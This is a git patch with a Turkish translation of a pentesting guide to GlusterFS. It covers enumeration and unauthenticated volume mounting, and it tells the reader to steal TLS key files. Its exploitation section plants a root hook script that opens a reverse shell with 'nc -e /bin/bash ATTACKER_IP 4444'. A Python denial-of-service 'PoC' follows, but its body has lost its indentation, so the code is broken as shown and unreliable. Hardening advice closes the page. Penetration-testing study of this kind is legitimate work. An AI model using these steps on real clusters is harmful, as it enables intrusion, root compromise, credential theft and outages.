From f276a19e8b322cf46b95b4e568ef30ef7598ef09 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 4 Aug 2025 16:31:34 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/24007-24008-24009-49152-pen --- ...-24008-24009-49152-pentesting-glusterfs.md | 122 +++++++++++++++--- 1 file changed, 101 insertions(+), 21 deletions(-) diff --git a/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md b/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md index dd8dd1e96..a7ce0a15d 100644 --- a/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md +++ b/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md @@ -1,35 +1,115 @@ +# 24007-24008-24009-49152 - Pentesting GlusterFS + {{#include ../banners/hacktricks-training.md}} -# Temel Bilgiler +## Temel Bilgiler -**GlusterFS**, birden fazla sunucudan depolamayı bir **birleşik sistem** haline getiren **dağıtık dosya sistemi**dir. **Keyfi ölçeklenebilirlik** sağlar, bu da depolama sunucularını genel dosya sistemini kesintiye uğratmadan kolayca ekleyip çıkarabileceğiniz anlamına gelir. Bu, verileriniz için yüksek **erişilebilirlik** ve **hata toleransı** sağlar. GlusterFS ile dosyalarınıza, altında yatan sunucu altyapısından bağımsız olarak, sanki yerel olarak depolanmış gibi erişebilirsiniz. Birden fazla sunucu arasında büyük miktarda veriyi yönetmek için güçlü ve esnek bir çözüm sunar. - -**Varsayılan portlar**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (sonrası)\ -Port 49152 için, daha fazla brick kullanmak amacıyla 1 artırılmış portların açık olması gerekir. _Daha önce 24009 portu 49152 yerine kullanılıyordu._ +**GlusterFS**, birden fazla sunucudan depolamayı tek bir **birleşik ad alanı** içinde birleştiren bir **dağıtık dosya sistemi**dir. Yönetim daemon'u (`glusterd`) varsayılan olarak **24007/TCP** üzerinde dinler ve **49152/TCP**'de başlayan veri düzlemi tuğlalarına talimat verir (her tuğla için bir port, artan şekilde). 9.x sürümlerinden önce **24008–24009/TCP** tuğla taşımak için kullanılıyordu, bu nedenle eski kümelerde bu portlarla karşılaşmaya devam edeceksiniz. ``` -PORT STATE SERVICE -24007/tcp open rpcbind -49152/tcp open ssl/unknown +PORT STATE SERVICE VERSION +24007/tcp open glusterd GlusterFS (RPC) +49152/tcp open gluster-brick SSL (TLS optional) ``` -## Enumeration +> İpucu: 24007, depolama yalnızca düğümleri herhangi bir hacim **yayınlamadığında** bile RPC çağrılarına yanıt verir; bu nedenle hizmet, büyük altyapılar içinde güvenilir bir pivot hedefidir. -Bu dosya sistemi ile etkileşimde bulunmak için [**GlusterFS istemcisini**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) yüklemeniz gerekiyor. (`sudo apt-get install glusterfs-cli`). +## Sayım -Mevcut hacimleri listelemek ve bağlamak için şunları kullanabilirsiniz: +Saldırı kutunuzda istemci yardımcı programlarını kurun: ```bash -sudo gluster --remote-host=10.10.11.131 volume list -# This will return the name of the volumes - -sudo mount -t glusterfs 10.10.11.131:/ /mnt/ +sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu ``` -Eğer **dosya sistemini bağlamaya çalışırken bir hata alırsanız**, `/var/log/glusterfs/` içindeki logları kontrol edebilirsiniz. +1. **Eşler keşfi ve sağlık** +```bash +# List peers (works without authentication in default setups) +gluster --remote-host 10.10.11.131 peer status +``` +2. **Hacim keşfi** +```bash +# Retrieve the list of all volumes and their configuration +gluster --remote-host 10.10.11.131 volume info all +``` +3. **Yetkisiz olarak bağlama** +```bash +sudo mount -t glusterfs 10.10.11.131:/ /mnt/gluster +``` +Eğer montaj başarısız olursa, istemci tarafında `/var/log/glusterfs/-.log` dosyasını kontrol edin. Yaygın sorunlar şunlardır: -**Sertifikaları belirten hatalar** dosyaları çalarak düzeltilebilir (eğer sisteme erişiminiz varsa): +* TLS zorlaması (`option transport.socket.ssl on`) +* Adres tabanlı erişim kontrolü (`option auth.allow `) -- /etc/ssl/glusterfs.ca -- /etc/ssl/glusterfs.key -- /etc/ssl/glusterfs.ca.pem +### Sertifika sorun giderme -Ve bunları makinenizdeki `/etc/ssl` veya `/usr/lib/ssl` dizinine kaydedebilirsiniz (eğer farklı bir dizin kullanılıyorsa, loglarda "_/usr/lib/ssl/glusterfs.pem_ dosyamızı yükleyemedik" gibi satırlara bakın). +Herhangi bir yetkili istemci düğümünden aşağıdaki dosyaları çalın ve bunları `/etc/ssl/` (veya hata günlüğünde gösterilen dizin) içine yerleştirin: +``` +/etc/ssl/glusterfs.pem +/etc/ssl/glusterfs.key +/etc/ssl/glusterfs.ca +``` +--- +## Bilinen Güvenlik Açıkları (2022-2025) + +| CVE | Etkilenen sürümler | Etki | Notlar | +|-----|-------------------|--------|-------| +| **CVE-2022-48340** | 10.0–10.4, 11.0 | Ağ üzerinden erişilebilen `dht_setxattr_mds_cbk` içinde kullanımdan sonra serbest bırakma | Uzaktan **DoS** ve muhtemel RCE. 10.4.1 / 11.1'de düzeltildi. | +| **CVE-2023-26253** | < 11.0 | FUSE bildirim işleyicisinde sınır dışı okuma | Özel FS işlemleri aracılığıyla uzaktan çökme; kamuya açık PoC mevcut. | +| **CVE-2023-3775** | < 10.5 / 11.1 | `gluster_shared_storage` bağlanırken yanlış izin doğrulaması | Herhangi bir kimlik doğrulaması yapılmamış istemcinin yönetici hacmini bağlamasına izin verir – aşağıda açıklanan **priv-esc** ile sonuçlanır. | + +> Her zaman `gluster --version` **her düğümde** kontrol edin; kısmi güncellemelerden sonra heterojen kümeler yaygındır. + +### `gluster_shared_storage`'ı Sömürmek (Yetki Yükseltme) + +Son sürümlerde bile birçok yönetici özel `gluster_shared_storage` hacmini dünya genelinde okunabilir bırakıyor çünkü bu, coğrafi çoğaltmayı basitleştiriyor. Hacim, her düğümde **root** ile çalışan cronjob şablonlarını içerir. +```bash +# 1. Mount admin volume anonymously +mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss + +# 2. Drop malicious script that gets synchronised cluster-wide +cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh +#!/bin/bash +nc -e /bin/bash ATTACKER_IP 4444 & +EOF +chmod +x /tmp/gss/hooks/1/start/post/test.sh + +# 3. Wait until glusterd distributes the hook and executes it as root +``` +Eğer `hooks/1/` mevcut değilse, `/ss_bricks/` için arama yapın – tam yol ana sürüme göre değişiklik gösterebilir. + +### Hizmet Reddi PoC (CVE-2023-26253) +```python +#!/usr/bin/env python3 +# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007 +import socket, xdrlib, struct +p = xdrlib.Packer(); p.pack_uint(0xdeadbeef) +with socket.create_connection(("10.10.11.131",24007)) as s: +s.send(struct.pack("!L", len(p.get_buffer())|0x80000000)) +s.send(p.get_buffer()) +``` +`glusterfsd` < 11.0 sürümünde script çalıştırmak çökmesine neden olur. + +--- + +## Güçlendirme & Tespit + +* **Güncelleme** – mevcut LTS 11.1'dir (Temmuz 2025). Yukarıdaki tüm CVE'ler düzeltilmiştir. +* Her brick için **TLS**'yi etkinleştirin: + +```bash +gluster volume set transport.socket.ssl on +gluster volume set transport.socket.ssl-cert /etc/ssl/glusterfs.pem +``` +* CIDR listeleri ile istemcileri kısıtlayın: + +```bash +gluster volume set auth.allow 10.0.0.0/24 +``` +* Yönetim portu 24007'yi yalnızca **özel VLAN** üzerinde veya SSH tünelleri aracılığıyla açığa çıkarın. +* Logları izleyin: `tail -f /var/log/glusterfs/glusterd.log` ve **audit-log** özelliğini yapılandırın (`volume set features.audit-log on`). + +--- + +## Referanslar + +* [GlusterFS güvenlik duyuruları](https://docs.gluster.org/en/latest/release-notes/#security) +* [CVE-2023-26253 PoC – github.com/tinynetwork/gluster-notify-crash](https://github.com/tinynetwork/gluster-notify-crash) {{#include ../banners/hacktricks-training.md}}